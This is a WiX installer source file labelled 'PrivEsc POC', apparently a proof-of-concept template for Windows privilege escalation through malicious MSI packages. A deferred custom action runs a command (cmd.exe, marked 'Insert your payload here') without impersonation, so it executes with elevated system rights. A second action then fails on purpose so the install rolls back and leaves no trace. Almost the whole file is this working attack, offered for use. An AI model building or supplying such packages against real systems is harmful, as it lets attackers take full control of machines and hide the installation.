Trimmed & cleaned original code

trimmed.wix

<?xml version="1.0"?>
<Wix xmlns="http://schemas.microsoft.com/wix/2006/wi">
  <Product Id="*" UpgradeCode="00000000-0000-0000-0000-111111111111" Name="PrivEsc POC" Version="0.0.1" Manufacturer="@_xpn_" Language="1033">
    <Package InstallerVersion="200" Compressed="yes" Comments="PrivEsc POC"/>
	
    <Directory Id="TARGETDIR" Name="SourceDir">
		<Component Id="ApplicationFiles" Guid="11111111-1111-1111-1111-222222222222"></Component>
	</Directory>

    <Feature Id="AppFiles" Level="1">
      <ComponentRef Id="ApplicationFiles"/>
    </Feature>
	
	<!--Insert your payload here-->
    <Property Id="runcmd">cmd.exe</Property>
	
	<!--Action Sequence-->
    <CustomAction Id="CmdExecute" Execute="deferred" Directory="TARGETDIR" ExeCommand='[runcmd]' Return="ignore" Impersonate="no"/>
    <CustomAction Id="SetupFailure" Execute="deferred" Script="vbscript" Return="check">
      program intentionally fails here!
    </CustomAction>
	
    <InstallExecuteSequence>
      <Custom Action="CmdExecute" After="InstallInitialize"></Custom>
      <Custom Action="SetupFailure" Before="InstallFiles"></Custom>
    </InstallExecuteSequence>

  </Product>
</Wix>